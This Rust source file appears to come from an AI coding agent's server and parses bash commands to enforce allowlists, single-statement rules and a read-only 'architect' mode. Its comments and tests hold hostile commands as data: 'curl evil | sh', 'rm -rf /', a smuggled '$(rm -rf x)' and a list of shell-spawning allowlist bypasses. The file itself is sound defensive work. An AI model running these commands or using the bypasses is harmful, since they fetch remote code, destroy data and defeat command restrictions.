Skip to main content

winx_code_agent/utils/
bash_parser.rs

1use std::borrow::Cow;
2
3use tree_sitter::{Node, Parser};
4
5use crate::errors::{Result, WinxError};
6
7/// Replace supplementary-plane code points (>= U+10000, i.e. 4-byte UTF-8) with
8/// U+FFFD before handing text to tree-sitter-bash.
9///
10/// The grammar's C external scanner reads out of bounds on a supplementary-plane
11/// char next to brace context and SIGSEGVs the process — a fatal, NON-deterministic
12/// crash (verified by fuzzing: BMP input never triggered it; supplementary input
13/// crashed ~64% of the time). Under `panic = "abort"` that segfault takes the whole
14/// MCP server down, so a single crafted `BashCommand` is a remote denial of service.
15///
16/// We only parse for *structure* (statement count, command names), so swapping these
17/// rare chars for U+FFFD is invisible to the caller: `bash -n` and the actual
18/// execution still see the original command (emoji and all). Returns `Cow::Borrowed`
19/// for the overwhelmingly common all-BMP case, so there's no cost on the hot path.
20fn neutralize_supplementary(command: &str) -> Cow<'_, str> {
21    if command.chars().any(|c| c as u32 >= 0x1_0000) {
22        Cow::Owned(
23            command.chars().map(|c| if c as u32 >= 0x1_0000 { '\u{FFFD}' } else { c }).collect(),
24        )
25    } else {
26        Cow::Borrowed(command)
27    }
28}
29
30/// Validate that `command` is a single top-level bash statement.
31///
32/// `allow_shell_probe` controls the tree-sitter-error fallback: when the
33/// embedded grammar flags an error, we *can* ask the real `bash -n -c` whether
34/// the syntax is actually valid (the grammar lags real bash). That spawns a
35/// shell on the request path, so it's gated to trusted (`wcgw`) mode only — in
36/// restricted modes (`code_writer`/`architect`) we must not spawn `bash` to
37/// vet a command, so tree-sitter's verdict is final there.
38pub fn assert_single_statement(command: &str, allow_shell_probe: bool) -> Result<()> {
39    let trimmed = command.trim();
40    if trimmed.is_empty() {
41        return Ok(());
42    }
43    if trimmed.contains('\0') {
44        return Err(WinxError::CommandExecutionError(
45            "Command contains a NUL byte. JSON escape \\u0000 becomes an actual NUL before bash sees it; write \\\\0 or \\\\x00 in the command string instead.".to_string(),
46        ));
47    }
48
49    // Parse a copy with supplementary-plane chars neutralized (see
50    // `neutralize_supplementary`): tree-sitter-bash segfaults on them. `bash -n`
51    // below and the eventual execution still see the original `trimmed`.
52    let parse_src = neutralize_supplementary(trimmed);
53
54    let mut parser = Parser::new();
55    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
56    parser.set_language(&language).map_err(|error| {
57        WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
58    })?;
59
60    let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
61        WinxError::CommandExecutionError("Failed to parse bash command".to_string())
62    })?;
63    let root = tree.root_node();
64
65    if root.has_error() && !rescued_by_shell_probe(trimmed, allow_shell_probe) {
66        return Err(WinxError::CommandExecutionError(
67            "Command contains invalid bash syntax. If this is a complex script, pass it as multiline bash, avoid NUL bytes, or set allow_multi=true after verifying the quoting.".to_string(),
68        ));
69    }
70
71    // `parse_src` (not `trimmed`): the node byte offsets index the parsed string.
72    let statement_count = top_level_statement_count(parse_src.as_ref(), root);
73
74    if statement_count > 1 && !trimmed.contains('\n') {
75        return Err(WinxError::CommandExecutionError(
76            "Command should contain a single top-level bash statement. Fix one of three ways: \
77             send one statement per call; put each statement on its own line (multiline is \
78             allowed); or resend as {\"type\": \"command\", \"command\": \"...\", \
79             \"allow_multi\": true} when the composite is intentional."
80                .to_string(),
81        ));
82    }
83
84    Ok(())
85}
86
87/// When tree-sitter flags a syntax error we *may* defer to the real `bash -n`
88/// (the embedded grammar lags real bash). That probe spawns a shell, so it only
89/// runs in trusted (wcgw) mode — `allow_shell_probe` gates it. In restricted
90/// modes (`code_writer`/`architect`) the grammar's verdict is final and we never
91/// shell out to vet a command.
92fn rescued_by_shell_probe(command: &str, allow_shell_probe: bool) -> bool {
93    allow_shell_probe && bash_accepts_syntax(command)
94}
95
96fn bash_accepts_syntax(command: &str) -> bool {
97    std::process::Command::new("bash")
98        .arg("-n")
99        .arg("-c")
100        .arg(command)
101        .stdin(std::process::Stdio::null())
102        .stdout(std::process::Stdio::null())
103        .stderr(std::process::Stdio::null())
104        .status()
105        .is_ok_and(|status| status.success())
106}
107
108#[derive(Debug, Clone)]
109struct StatementNode {
110    kind: String,
111    start_byte: usize,
112    end_byte: usize,
113}
114
115fn top_level_statement_count(source: &str, root: Node<'_>) -> usize {
116    let mut statements = Vec::new();
117    collect_statement_nodes(root, &mut statements);
118
119    statements
120        .iter()
121        .filter(|stmt| stmt.kind != "comment")
122        .filter(|stmt| !statements.iter().any(|other| is_contained_statement(source, stmt, other)))
123        .count()
124}
125
126fn collect_statement_nodes(node: Node<'_>, statements: &mut Vec<StatementNode>) {
127    if is_statement_node(node.kind()) {
128        statements.push(StatementNode {
129            kind: node.kind().to_string(),
130            start_byte: node.start_byte(),
131            end_byte: node.end_byte(),
132        });
133    }
134
135    let child_count = u32::try_from(node.named_child_count()).unwrap_or(u32::MAX);
136    for index in 0..child_count {
137        if let Some(child) = node.named_child(index) {
138            collect_statement_nodes(child, statements);
139        }
140    }
141}
142
143fn is_statement_node(kind: &str) -> bool {
144    matches!(
145        kind,
146        "command"
147            | "variable_assignment"
148            | "declaration_command"
149            | "unset_command"
150            | "comment"
151            | "for_statement"
152            | "c_style_for_statement"
153            | "while_statement"
154            | "if_statement"
155            | "case_statement"
156            | "function_definition"
157            | "pipeline"
158            | "list"
159            | "compound_statement"
160            | "subshell"
161            | "redirected_statement"
162    )
163}
164
165fn is_contained_statement(source: &str, stmt: &StatementNode, other: &StatementNode) -> bool {
166    if stmt.start_byte == other.start_byte
167        && stmt.end_byte == other.end_byte
168        && stmt.kind == other.kind
169    {
170        return false;
171    }
172
173    let other_text = &source[other.start_byte..other.end_byte];
174    if other.kind == "list" && other_text.contains(';') {
175        return false;
176    }
177
178    other.start_byte <= stmt.start_byte
179        && other.end_byte >= stmt.end_byte
180        && other.end_byte - other.start_byte > stmt.end_byte - stmt.start_byte
181        && other_text.contains(&source[stmt.start_byte..stmt.end_byte])
182}
183
184/// Collect the full text of every `command` node in the script.
185///
186/// Descends through pipelines, lists, subshells, command/process substitution,
187/// loops and conditionals, so an allowlist can be enforced against EVERY command
188/// a line would run — not just `command_line.split_whitespace().next()`, which
189/// `ls && curl|sh`, `ls $(rm -rf x)` and `a; rm -rf /` trivially bypass.
190///
191/// Returns `Err` when the command can't be parsed cleanly; restricted-mode
192/// callers treat that as "not allowed" (fail closed). Code hidden inside a
193/// quoted string (e.g. `bash -c '...'`) is opaque to the parser, so an allowlist
194/// that permits `bash`/`sh`/`eval` stays effectively unrestricted by design.
195pub fn extract_command_texts(command: &str) -> Result<Vec<String>> {
196    let trimmed = command.trim();
197    if trimmed.is_empty() {
198        return Ok(Vec::new());
199    }
200    if trimmed.contains('\0') {
201        return Err(WinxError::CommandExecutionError("Command contains a NUL byte.".to_string()));
202    }
203
204    // See `neutralize_supplementary`: parse a sanitized copy so a supplementary
205    // code point can't segfault tree-sitter. The extracted command texts feed the
206    // allowlist, which keys on the (ASCII) command name, so a U+FFFD standing in
207    // for an emoji in some argument doesn't change enforcement.
208    let parse_src = neutralize_supplementary(trimmed);
209
210    let mut parser = Parser::new();
211    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
212    parser.set_language(&language).map_err(|error| {
213        WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
214    })?;
215
216    let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
217        WinxError::CommandExecutionError("Failed to parse bash command".to_string())
218    })?;
219    let root = tree.root_node();
220    if root.has_error() {
221        return Err(WinxError::CommandExecutionError(
222            "Command could not be parsed for allowlist enforcement.".to_string(),
223        ));
224    }
225
226    let mut texts = Vec::new();
227    collect_command_texts(root, parse_src.as_ref().as_bytes(), &mut texts);
228    Ok(texts)
229}
230
231/// Return statically visible filesystem destinations written by a shell command.
232///
233/// This is deliberately conservative: dynamic expansions are ignored instead of
234/// guessed, while output redirects and common file-producing commands expose
235/// their literal destinations. Callers use the result for narrow path-policy
236/// checks, never as a general shell sandbox.
237pub fn extract_static_write_paths(command: &str) -> Vec<String> {
238    let trimmed = command.trim();
239    if trimmed.is_empty() || trimmed.contains('\0') {
240        return Vec::new();
241    }
242
243    let parse_src = neutralize_supplementary(trimmed);
244    let mut parser = Parser::new();
245    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
246    if parser.set_language(&language).is_err() {
247        return Vec::new();
248    }
249    let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return Vec::new() };
250
251    let mut paths = Vec::new();
252    collect_static_write_paths(tree.root_node(), parse_src.as_ref().as_bytes(), &mut paths);
253    paths.sort();
254    paths.dedup();
255    paths
256}
257
258fn collect_static_write_paths(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
259    match node.kind() {
260        "file_redirect" => collect_redirect_destination(node, src, out),
261        "command" => collect_command_destinations(node, src, out),
262        _ => {}
263    }
264
265    let mut cursor = node.walk();
266    for child in node.children(&mut cursor) {
267        collect_static_write_paths(child, src, out);
268    }
269}
270
271fn collect_redirect_destination(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
272    let Some(destination) = node.child_by_field_name("destination") else { return };
273    let prefix_end = destination.start_byte().saturating_sub(node.start_byte());
274    let Ok(redirect) = node.utf8_text(src) else { return };
275    let prefix = redirect.get(..prefix_end).unwrap_or(redirect);
276    if !prefix.contains('>') {
277        return;
278    }
279    if let Ok(text) = destination.utf8_text(src) {
280        push_static_shell_word(text, out);
281    }
282}
283
284fn collect_command_destinations(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
285    let Some(name) = node.child_by_field_name("name") else { return };
286    let Ok(name) = name.utf8_text(src) else { return };
287    let Some(name) = static_shell_word(name) else { return };
288    let name = std::path::Path::new(&name)
289        .file_name()
290        .and_then(std::ffi::OsStr::to_str)
291        .unwrap_or(name.as_str());
292
293    let mut cursor = node.walk();
294    let arguments = node
295        .children_by_field_name("argument", &mut cursor)
296        .filter_map(|argument| argument.utf8_text(src).ok())
297        .filter_map(static_shell_word)
298        .collect::<Vec<_>>();
299    let positional =
300        arguments.iter().filter(|argument| !argument.starts_with('-')).cloned().collect::<Vec<_>>();
301
302    match name {
303        "tee" | "touch" | "truncate" | "mkdir" | "mkfifo" => {
304            out.extend(positional);
305        }
306        "cp" | "mv" | "install" | "ln" => {
307            if let Some(destination) = positional.last() {
308                out.push(destination.clone());
309            }
310            for argument in &arguments {
311                if let Some(destination) = argument.strip_prefix("--target-directory=") {
312                    out.push(destination.to_string());
313                }
314            }
315        }
316        "dd" => {
317            for argument in &arguments {
318                if let Some(destination) = argument.strip_prefix("of=") {
319                    out.push(destination.to_string());
320                }
321            }
322        }
323        "sed" | "perl"
324            if arguments.iter().any(|argument| {
325                argument == "-i"
326                    || argument.starts_with("-i")
327                    || argument == "-pi"
328                    || argument.starts_with("-pi")
329            }) =>
330        {
331            out.extend(positional);
332        }
333        _ => {}
334    }
335}
336
337fn push_static_shell_word(text: &str, out: &mut Vec<String>) {
338    if let Some(word) = static_shell_word(text) {
339        out.push(word);
340    }
341}
342
343fn static_shell_word(text: &str) -> Option<String> {
344    let text = text.trim();
345    if text.is_empty() {
346        return None;
347    }
348
349    let bytes = text.as_bytes();
350    let unquoted = if bytes.len() >= 2
351        && matches!(
352            (bytes.first(), bytes.last()),
353            (Some(b'\''), Some(b'\'')) | (Some(b'"'), Some(b'"'))
354        ) {
355        &text[1..text.len() - 1]
356    } else {
357        text
358    };
359    let known_temp_path = unquoted == "$WINX_TEMP_DIR"
360        || unquoted == "${WINX_TEMP_DIR}"
361        || unquoted.starts_with("$WINX_TEMP_DIR/")
362        || unquoted.starts_with("${WINX_TEMP_DIR}/");
363    if unquoted.is_empty()
364        || unquoted.contains('`')
365        || unquoted.contains('*')
366        || unquoted.contains('?')
367        || (unquoted.contains('$') && !known_temp_path)
368        || (known_temp_path
369            && unquoted
370                .trim_start_matches("${WINX_TEMP_DIR}")
371                .trim_start_matches("$WINX_TEMP_DIR")
372                .contains('$'))
373    {
374        None
375    } else {
376        Some(unquoted.replace("\\ ", " ").replace("\\\"", "\"").replace("\\'", "'"))
377    }
378}
379
380fn collect_command_texts(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
381    if node.kind() == "command" {
382        if let Ok(text) = node.utf8_text(src) {
383            out.push(text.to_string());
384        }
385    }
386    let mut cursor = node.walk();
387    for child in node.children(&mut cursor) {
388        collect_command_texts(child, src, out);
389    }
390}
391
392/// Commands that can execute arbitrary code passed as a string argument.
393///
394/// If a `code_writer` allowlist permits any of these, the allowlist is
395/// effectively unrestricted: the tree-sitter parser sees `bash -c '...'`,
396/// `eval "..."`, `find -exec ...` or `xargs sh` as a single allowed command and
397/// can't inspect the code hidden inside. This list backs an advisory warning,
398/// not enforcement — enforcement stays fail-closed regardless.
399pub const SHELL_SPAWNING_COMMANDS: &[&str] = &[
400    "bash", "sh", "zsh", "dash", "ksh", "fish", "csh", "tcsh", "eval", "source", ".", "env",
401    "xargs", "nice", "nohup", "timeout", "find", "watch", "sudo", "su", "ssh", "python", "python3",
402    "perl", "ruby", "node", "deno", "awk", "gawk", "php", "lua",
403];
404
405/// Commands exposed by architect mode. This deliberately omits general-purpose
406/// interpreters and utilities with write/exec primitives (`sed`, `awk`, `find`,
407/// `tee`, ...). Bash restricted mode is only defense in depth: it does not make
408/// ordinary commands such as `touch` or `rm` read-only.
409pub const ARCHITECT_COMMANDS: &[&str] = &[
410    "pwd",
411    "ls",
412    "rg",
413    "grep",
414    "head",
415    "tail",
416    "wc",
417    "stat",
418    "file",
419    "readlink",
420    "realpath",
421    "basename",
422    "dirname",
423    "printf",
424    "echo",
425    "type",
426    "which",
427    "uname",
428    "date",
429    "id",
430    "whoami",
431    "du",
432    "df",
433    "tree",
434    "git status",
435    "git diff",
436    "git log",
437    "git show",
438    "git ls-files",
439    "git grep",
440    "git rev-parse",
441    "git branch --show-current",
442];
443
444pub fn architect_allowed_commands() -> Vec<String> {
445    ARCHITECT_COMMANDS.iter().map(|command| (*command).to_string()).collect()
446}
447
448/// Fail-closed read-only policy for architect shell commands.
449///
450/// The normal allowlist checks every nested command, but a few nominally
451/// read-only programs have options that execute helpers or write files. Validate
452/// those options here as well so `rg --pre`, `git diff --ext-diff`, and
453/// `git show --output=...` cannot turn the architect shell into a mutation path.
454pub fn is_architect_command_allowed(command_line: &str) -> bool {
455    if contains_file_redirect(command_line) {
456        return false;
457    }
458    let Ok(commands) = extract_command_texts(command_line) else { return false };
459    !commands.is_empty() && commands.iter().all(|command| architect_command_is_safe(command))
460}
461
462/// Reject shell-managed file redirects in architect mode. Even a harmless
463/// command such as `echo` or `git diff` becomes a write primitive when followed
464/// by `> file`; checking command names alone cannot see that side effect.
465fn contains_file_redirect(command: &str) -> bool {
466    let parse_src = neutralize_supplementary(command.trim());
467    let mut parser = Parser::new();
468    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
469    if parser.set_language(&language).is_err() {
470        return true;
471    }
472    let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return true };
473    let root = tree.root_node();
474    root.has_error() || node_tree_contains_kind(root, "file_redirect")
475}
476
477fn node_tree_contains_kind(node: Node<'_>, kind: &str) -> bool {
478    if node.kind() == kind {
479        return true;
480    }
481    let mut cursor = node.walk();
482    let found = node.children(&mut cursor).any(|child| node_tree_contains_kind(child, kind));
483    found
484}
485
486fn architect_command_is_safe(command: &str) -> bool {
487    let words: Vec<&str> = command.split_whitespace().collect();
488    let Some(program) = words.first().copied() else { return false };
489
490    if program == "git" {
491        let Some(subcommand) = words.get(1).copied() else { return false };
492        if subcommand == "branch" {
493            return words.as_slice() == ["git", "branch", "--show-current"];
494        }
495        if !matches!(
496            subcommand,
497            "status" | "diff" | "log" | "show" | "ls-files" | "grep" | "rev-parse"
498        ) {
499            return false;
500        }
501        return !words.iter().skip(2).any(|word| {
502            word.starts_with("--output")
503                || *word == "--ext-diff"
504                || *word == "--textconv"
505                || word.starts_with("--open-files-in-pager")
506        });
507    }
508
509    let allowed = ARCHITECT_COMMANDS
510        .iter()
511        .filter(|entry| !entry.starts_with("git "))
512        .any(|entry| *entry == program);
513    if !allowed {
514        return false;
515    }
516
517    if program == "rg" {
518        return !words.iter().skip(1).any(|word| {
519            word == &"--pre"
520                || word.starts_with("--pre=")
521                || word == &"--hostname-bin"
522                || word.starts_with("--hostname-bin=")
523        });
524    }
525
526    true
527}
528
529/// Return the deduplicated allowlist entries that make a `code_writer` allowlist
530/// bypassable (see [`SHELL_SPAWNING_COMMANDS`]).
531///
532/// The allowlist matches on command *name*, so we compare the basename of each
533/// entry's first whitespace-delimited token: `find`, `/usr/bin/find` and
534/// `find -exec rm {} +` all resolve to `find`.
535pub fn detect_allowlist_bypass(allowed: &[String]) -> Vec<String> {
536    let mut hits: Vec<String> = allowed
537        .iter()
538        .filter_map(|entry| {
539            let first = entry.split_whitespace().next()?;
540            let base = std::path::Path::new(first).file_name()?.to_str()?;
541            SHELL_SPAWNING_COMMANDS.contains(&base).then(|| base.to_string())
542        })
543        .collect();
544    hits.sort();
545    hits.dedup();
546    hits
547}
548
549#[cfg(test)]
550mod tests {
551    use super::assert_single_statement;
552    use super::detect_allowlist_bypass;
553    use super::extract_command_texts;
554    use super::extract_static_write_paths;
555    use super::is_architect_command_allowed;
556    use proptest::prelude::*;
557
558    proptest! {
559        /// This gate parses untrusted LLM command strings with tree-sitter; under
560        /// panic=abort, any panic here crashes the server. It must only ever return
561        /// Ok/Err — never panic — for ANY input (incl. multiline, control chars, junk).
562        #[test]
563        fn assert_single_statement_never_panics(cmd in "[\\s\\S]{0,80}") {
564            let _ = assert_single_statement(&cmd, false);
565            let _ = assert_single_statement(&cmd, true);
566        }
567
568        #[test]
569        fn extract_command_texts_never_panics(cmd in "[\\s\\S]{0,80}") {
570            let _ = extract_command_texts(&cmd);
571        }
572
573        #[test]
574        fn extract_static_write_paths_never_panics(cmd in "[\\s\\S]{0,80}") {
575            let _ = extract_static_write_paths(&cmd);
576        }
577    }
578
579    #[test]
580    fn supplementary_plane_input_does_not_segfault_the_parser() {
581        // Regression: `{` followed by a supplementary-plane code point (>= U+10000)
582        // made tree-sitter-bash's C scanner read out of bounds and SIGSEGV the whole
583        // process (a fatal, non-deterministic DoS under panic=abort). Both parse paths
584        // must now return cleanly. Run the minimal trigger many times to beat the
585        // non-determinism, plus a few representative supplementary chars.
586        for c in ['\u{10FFFF}', '\u{4E980}', '\u{1F574}', '\u{100000}'] {
587            for _ in 0..40 {
588                let cmd = format!("{{{c}");
589                let _ = assert_single_statement(&cmd, false);
590                let _ = extract_command_texts(&cmd);
591            }
592        }
593    }
594
595    #[test]
596    fn emoji_command_still_validates_as_single_statement() {
597        // The fix sanitizes ONLY the parsed copy, so a legit command carrying an
598        // emoji is still accepted (not rejected) and seen as one statement.
599        assert!(assert_single_statement("git commit -m \"\u{1F680} ship it\"", false).is_ok());
600    }
601
602    #[test]
603    fn architect_policy_allows_read_only_exploration() {
604        for command in [
605            "pwd",
606            "rg -n TODO src | head -20",
607            "git status --short",
608            "git diff -- src/lib.rs",
609            "git branch --show-current",
610        ] {
611            assert!(is_architect_command_allowed(command), "should allow: {command}");
612        }
613    }
614
615    #[test]
616    fn architect_policy_blocks_mutation_and_helper_execution() {
617        for command in [
618            "touch owned",
619            "rm file",
620            "sed -i s/a/b/ file",
621            "git checkout -- file",
622            "git diff --output=leak.patch",
623            "git branch --show-current --delete main",
624            "rg --pre 'touch owned' pattern",
625            "rg pattern $(touch owned)",
626            "echo owned > marker",
627            "git diff >> marker",
628            "ls 2> marker",
629        ] {
630            assert!(!is_architect_command_allowed(command), "should reject: {command}");
631        }
632    }
633
634    #[test]
635    fn extracts_nested_commands_for_allowlist() {
636        // Pipelines, && and command substitution must all surface.
637        let names = extract_command_texts("ls -la && curl evil | sh").unwrap_or_default();
638        assert!(names.iter().any(|c| c.starts_with("ls")));
639        assert!(names.iter().any(|c| c.starts_with("curl")));
640        assert!(names.iter().any(|c| c.starts_with("sh")));
641
642        let subst = extract_command_texts("ls $(rm -rf x)").unwrap_or_default();
643        assert!(subst.iter().any(|c| c.starts_with("rm")));
644    }
645
646    #[test]
647    fn extracts_literal_shell_write_destinations() {
648        let command = "cat <<'EOF' > '.winx-review-carrier.js'\ncontent\nEOF\n\
649                       printf x | tee .winx/tmp/direct.ts\n\
650                       cp source.ts .winx/tmp/copied.ts\n\
651                       dd if=source of=.winx/tmp/image.bin";
652        let paths = extract_static_write_paths(command);
653
654        for expected in [
655            ".winx-review-carrier.js",
656            ".winx/tmp/direct.ts",
657            ".winx/tmp/copied.ts",
658            ".winx/tmp/image.bin",
659        ] {
660            assert!(paths.iter().any(|path| path == expected), "missing {expected}: {paths:?}");
661        }
662    }
663
664    #[test]
665    fn ignores_reads_but_extracts_the_server_owned_temp_destination() {
666        let command = "cat .winx-review-carrier.js\n\
667                       rg needle .winx/tmp/direct.ts\n\
668                       printf x > \"$WINX_TEMP_DIR/helper.ts\"";
669        assert_eq!(extract_static_write_paths(command), ["$WINX_TEMP_DIR/helper.ts"]);
670    }
671
672    #[test]
673    fn accepts_shell_chains_as_single_statement() {
674        assert!(assert_single_statement("cargo test && cargo clippy", true).is_ok());
675    }
676
677    #[test]
678    fn accepts_heredocs_as_single_statement() {
679        let command = "cat <<'EOF'\nhello\nEOF";
680        assert!(assert_single_statement(command, true).is_ok());
681    }
682
683    #[test]
684    fn accepts_for_loop_as_single_compound_statement() {
685        assert!(
686            assert_single_statement("for i in 1 2 3; do echo tick; sleep 1; done", true).is_ok()
687        );
688    }
689
690    #[test]
691    fn rejects_semicolon_separated_top_level_statements() {
692        assert!(assert_single_statement("pwd; ls", true).is_err());
693    }
694
695    #[test]
696    fn accepts_multiline_scripts() {
697        assert!(assert_single_statement("pwd\nls", true).is_ok());
698    }
699
700    #[test]
701    fn accepts_bash_lc_script_when_tree_sitter_reports_error() {
702        let command = "bash -lc 'printf \"%s\\n\" \"-- drm connectors --\"; for s in /sys/class/drm/card*-*/status; do [ -e \"$s\" ] || continue; c=${s%/status}; printf \"%s: %s\" \"${c##*/}\" \"$(cat \"$s\")\"; done'";
703        assert!(assert_single_statement(command, true).is_ok());
704    }
705
706    #[test]
707    fn shell_probe_is_gated_to_trusted_mode() {
708        use super::rescued_by_shell_probe;
709        // The probe (`bash -n`) only runs in trusted (wcgw) mode. Tested on the
710        // pure decision so it doesn't depend on finding a command the embedded
711        // grammar happens to reject — which is the whole point of the gate.
712        //
713        // Probe ON: a command real bash accepts is rescued past a tree-sitter error.
714        assert!(rescued_by_shell_probe("echo hi", true));
715        // Probe OFF (restricted modes): NOT rescued, even though bash would accept
716        // it — and crucially we never spawn a shell to find out.
717        assert!(!rescued_by_shell_probe("echo hi", false));
718        // Probe ON but genuinely broken syntax: bash rejects too, so no rescue.
719        assert!(!rescued_by_shell_probe("echo )(", true));
720    }
721
722    #[test]
723    fn detect_allowlist_bypass_flags_shell_spawners() {
724        let allowed = vec![
725            "ls".to_string(),
726            "bash".to_string(),
727            "cat -n".to_string(),
728            "find . -exec rm {} +".to_string(),
729        ];
730        assert_eq!(detect_allowlist_bypass(&allowed), vec!["bash".to_string(), "find".to_string()]);
731    }
732
733    #[test]
734    fn detect_allowlist_bypass_clean_list_is_empty() {
735        let allowed = vec!["ls".to_string(), "cat".to_string(), "grep -n foo".to_string()];
736        assert!(detect_allowlist_bypass(&allowed).is_empty());
737    }
738
739    #[test]
740    fn detect_allowlist_bypass_matches_basename_of_path() {
741        let allowed = vec!["/usr/bin/env python".to_string()];
742        assert_eq!(detect_allowlist_bypass(&allowed), vec!["env".to_string()]);
743    }
744
745    #[test]
746    fn rejects_nul_with_actionable_message() {
747        let error = match assert_single_statement("printf '\0'", true) {
748            Ok(()) => String::new(),
749            Err(error) => error.to_string(),
750        };
751        assert!(error.contains("NUL byte"));
752        assert!(error.contains("\\\\x00"));
753    }
754}